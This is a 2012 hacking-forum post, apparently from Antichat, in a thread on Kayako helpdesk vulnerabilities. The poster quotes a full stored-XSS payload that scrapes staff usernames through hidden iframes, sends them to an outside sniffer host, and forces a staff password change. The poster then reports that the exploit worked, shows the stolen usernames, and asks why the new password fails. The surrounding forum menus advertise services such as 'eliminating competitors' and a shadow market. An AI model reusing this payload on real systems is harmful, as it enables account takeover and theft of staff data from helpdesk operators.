FORUMS
MEMBERS
RECENT POSTS
LOG IN
Search Forums
Featured Threads Archive
Recent Posts
Notable Members
Registered Members
Current Visitors
Recent Activity
New Profile Posts
×
Авторизация
Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Продолжить через Telegram
Продолжить через Google
Другие способы входа
⌄
Продолжить через GitHub
Или войдите по логину и паролю
Имя пользователя:
Пароль:
Запомнить меня
Нет аккаунта?
Обычная регистрация
ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК
УСТРАНЕНИЕ КОНКУРЕНТОВ.
БЛОКИРОВКА ДОМЕНОВ,
БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ.
ПРОВЕРЕННЫЙ СЕЛЛЕР.
НОВЫЕ
ТОРГОВАЯ
НОВОСТИ
loading...
Скрыть
ANTICHAT
>
БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ
>
Уязвимости
>
Веб-уязвимости
kayako
Поиск по форуму
Расширенный поиск
Опции темы
Поиск в этой теме
Опции просмотра
Предыдущая
Следующая
#
8
11.02.2012, 14:58
kindunkind
Новичок
Регистрация: 24.04.2011
Сообщений: 0
С нами:
7922486
Репутация:
0
Цитата:
Сообщение от
None
ipt>window.onload=init; function init() {document.body.innerHTML +=('put id="change" value="0" type="hidden">');document.body.innerHTML += ('ame id="loginframe" name="loginframe" style="display:none;" src="http://supportsite/staff/index.php?_m=core&_a=composeprvmsg" onload="login();">ame>');}function login() {if (document.getElementById('change').value==0) {var opt = window.frames['loginframe'].document.forms['swiftform'].elements['staffid[]'].innerHTML;opt = opt.split('OPTION').join('');opt = opt.split('').join('');opt = opt.split('"').join('');opt = opt.split('=').join('');opt = opt.split('selected').join('');opt = opt.split('value').join('');opt = opt.split('option').join('');opt = "http://sniffsite/snif/s.gif?users=" + escape(opt); document.body.innerHTML += ('g name=imname src="'+opt+'" width="0" height="0" border="0">'); document.imname.src = opt+"&"+Math.random(); document.getElementById('change').value = 1;init2(); }}; function init2() {document.body.innerHTML +=('put id="change2" value="0" type="hidden">');document.body.innerHTML += ('ame id="passframe" name="passframe" style="display:none;" src="http://supportsite/staff/index.php?_m=core&_a=changepassword" onload="pass();">ame>');}function pass() {if (document.getElementById('change2').value==0) {window.frames['passframe'].document.forms['staffform'].elements['password'].value = 'newpass';window.frames['passframe'].document.forms['staffform'].elements['passwordconfirm'].value = 'newpass';window.frames['passframe'].document.forms['staffform'].submit();document.getElementById('change2').value = 1;}}ript>
Экспойт сработал , пришло сообщение такого вида:
Цитата:
Сообщение от
None
%u0415%u0432%u0433%u0435%u043D%u0438%u044F %u 041C%u0430%u043B%u043E%u0432%u0430 (jenny) %u0415%u0432%u0433%u0435%u043D%u0438%u044F %u 041C%u044B%u0440%u0437%u0430%u043B%u0438%u0435%u04 32%u0430 (evm) %u041C%u0430%u043A%u0441%u0438%u043C %u0413%u 0430%u0448%u043A%u043E%u0432 (max) %u0420%u0443%u0441%u043B%u0430%u043D %u041C%u 0430%u0440%u044D (ruslan) %u0421%u0435%u0440%u0433%u0435%u0439 %u0412%u 0435%u0440%u043D%u0438%u0433%u043E%u0440%u0430&nbs p;(sergey) %u0421%u0435%u0440%u0433%u0435%u0439 %u041D%u 0438%u043A%u0438%u0442%u0435%u043D%u043A%u043E%u04 32 (nikitenkov)
Судя по всему просмотрен тикет был юзером ruslan , на какой новый пароль должен был смениться? Судя по коду "newpass" ? но он не подходит .
kindunkind
Посмотреть профиль
Репутация
Отправить личное сообщение для kindunkind
Найти все сообщения от kindunkind
Добавить в друзья
Предыдущая тема
Следующая тема
Здесь присутствуют: 1
(пользователей: 0 , гостей: 1)
Опции темы
Версия для печати
Отправить по электронной почте
Опции просмотра
Линейный вид
Комбинированный вид
Древовидный вид
Поиск в этой теме
Расширенный поиск
Оценка этой темы
Вы уже оценили эту тему
Быстрый переход
Мой кабинет
Личные сообщения
Подписки
Кто на форуме
Поиск по форуму
Главная страница форума
ИНФО
Мировые новости. Обсуждения.
Статьи
Избранное
РАЗРАБОТКА
Ваши проекты
SЕО - тонкости, методы раскрутки
Услуги, Покупка и Продажа в SEO
Хостинги - Hostings
Хостинг, Dedicated, VDS, Сервера - покупка, продажа
Для Администратора
Apple: Mac, OS X, iOS
AntiDDos - АнтиДДОС
Windows
Linux, Freebsd, *nix
ПРОГРАММИРОВАНИЕ
Общие вопросы программирования
ПО для Web разработчика
PHP
Python
С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
Реверсинг
ТЕХНОЛОГИИ И AI
Искусственный интеллект (AI)
Нейросети и промптинг
AI автоматизация
Разработка AI-агентов
Технологические новости
Стартапы, бизнес и инвестиции
Программирование с AI
ФИНАНСОВЫЕ ЗАДАЧИ/СОЦИАЛЬНЫЕ СЕТИ
Покупка, Продажа, Обмен
Разное - Покупка, продажа, обмен
Услуги, Покупка и Продажа в SEO
Электронные валюты: Обмен, Вывод, Ввод
VPN, Proxy, Socks - Покупка, продажа
Хостинг, Dedicated, VDS, Сервера - Покупка, продажа
Мобильная связь, СМС - Покупка, продажа
Трафик, инсталлы, загрузки - Покупка, продажа
Покупка, продажа, услуги в Соц. Сетях
Партнерки
Freelance - О Работе
Предложения работы, услуг
Социальные сети
Покупка, продажа, услуги в Соц. Сетях
Платежные системы
Электронные валюты: Обмен, Вывод, Ввод
Blockchain, Криптовалюты, смарт-контракты
ТЕНЕВОЙ РЫНОК
Пробив информации
Карты, кошельки, биржи
Документы готовые и под заказ
Способы и схемы заработка
Арбитраж трафика
Барахолка
ОФФТОП
Болталка
Forum for discussion of ANTICHAT
Video.Antichat
Комментарии к видео
Архив
ICQ - Покупка, продажа
Home
Contact Us
Help
Terms and Rules
Privacy Policy
ANTICHAT ™ © 2001- Antichat Kft.